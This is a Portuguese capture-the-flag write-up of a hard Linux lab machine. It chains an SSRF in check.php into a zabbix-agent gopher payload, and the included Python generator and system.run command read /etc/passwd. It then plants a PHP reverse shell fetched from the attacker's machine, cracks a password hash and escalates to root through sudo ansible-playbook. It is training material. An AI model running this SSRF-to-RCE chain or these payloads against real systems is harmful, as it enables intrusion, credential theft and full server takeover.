Resolução da maquina Down da Crowsec.
|
|
A máquina Down é disponibilizada no laboratório da Crowsec, para poder ter acesso a essa máquina é preciso ser aluno do Webhacking-na-pratica 2.0.
A máquina está classificada como nível Difícil e seu sistema operacional é Linux.
Primeira etapa é fazer o reconhecimento inicial de portas e serviços disponíveis no alvo. Para essa função escolhi utilizar a ferramenta Nmap.
Nmap -sS -sV -v
Resultado:
|
|
Então, iniciei o reconhecimento do serviço web na porta 80
|
|
Uma página home de uma empresa de hospedagem. depois de interagir bastante com a página, iniciei a procura por arquivos.
Executei o wfuzz para fazer uma varredura por arquivos no servidor
wfuzz -c -z files,files.txt –hc 404 http:///FUZZ
Resultado:
|
|
Um arquivo php encontrado, então resolvi dar uma olhada.
|
|
O check.php tinha a função de verificar se meu website estava disponível na internet.
O Problema era que para isso o servidor da aplicação precisaria fazer uma requisição para o meu servidor, deixando o servidor da aplicação vulnerável a SSRF(Server-side Request Forgery). Basicamente é quando o cliente pode fazer o servidor enviar requisições para outros servidores e serviços.
Fui confirmar a vulnerabilidade, configurei um servidor python.
|
|
enviei a url do meu servidor web para aplicação.
|
|
A requisição foi feita para minha máquina e o ip da requisição pertencia ao servidor da aplicação. Com essa informação, posso utilizar a própria aplicação para interagir com outros serviços não disponíveis ou filtrados no alvo.
Obs: Código apresentou 404, por que o arquivo não existe na minha máquina.
Executei novamente o nmap com a flag -p- para varrer por todas as portas, a procurar de algum serviço que posso usar para acessar via SSRF.
|
|
Serviço zabbix-agent estava com estado filtrado, possivelmente alguma regra de firewall estava filtrando o acesso externo, mas posso usar o SSRF para tentar acessar o serv
Com o script abaixo, gerei um payload para fazer requisição para zabbix
import struct
import urllib.parse
import sys
header = "ZBXD\x01"
comando = sys.argv[1]
key = f'system.run[({comando})]'
payload="gopher://127.0.0.1:10050/_".strip()
payload+=urllib.parse.quote_plus(header).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
payload+=urllib.parse.quote_plus(struct.pack("<Q", len(key)+2).decode()).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
payload+=urllib.parse.quote_plus(key).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":").strip()
print(payload)Então executei o script e o comando para ser executado
|
|
O payload utiliza o protocolo gopher para interagir com o serviço do zabbix. solicitei a execução do comando cat /etc/ passwd, por meio do item system.run presente no zabbix agent.
enviei a requisição com o payload para a aplicação.
Resultado:
|
|
|
a imagem não ficou boa, mas trata-se do conteudo do passwd |
Obtive um RCE(Remote code execution) utilizando o zabbix através de um SSRF existente no servidor.
Iniciei tentativas de obter um reverse shell utilizando o zabbix, mas todas as tentativas o servidor desconectava a shell.
Então comecei a procurar por diretórios webs que tenho acesso pelo servidor web e que tenho permissão de escrita.
|
|
Encontrei o diretório assets.
gerei um payload para gravar um reverse shell no diretório assets
|
|
esse comando vai fazer uma requisição para minha máquina solicitando o conteúdo do shell.php e seu conteúdo vai ser salvo / var / www /html /assets / shell.php
O conteudo de shell.php
|
|
|
|
Depois de enviado o payload, verifiquei se meu arquivo foi gravado no servidor.
|
|
Foi gravado, inciei o netcat na porta configurada.
|
|
Acessei o shell.php e voltei para o netcat.
|
|
SHELL !!
|
|
Encontrei em / var / backups/ um arquivo oculto denominado .password.bkp, seu conteúdo era um hash possivelmente extraído do / etc / shadow
|
|
Executei o jhon para tentar “quebrar” o hash
|
|
Conseguir a senha do usuário DevOps, su DevOPS e a senha encontrada , tive acesso ao usuário
Executei sudo -l
|
|
Comecei a pesquisar sobre ansible-playbook e como poderia escalar privilégios para root.
Criei um arquivo chamado shell.yml
|
|
Que iniciava uma shell interativa utilizando o sh
Executei o ansible-playbook com sudo
|
|
Eee
|
|
|
|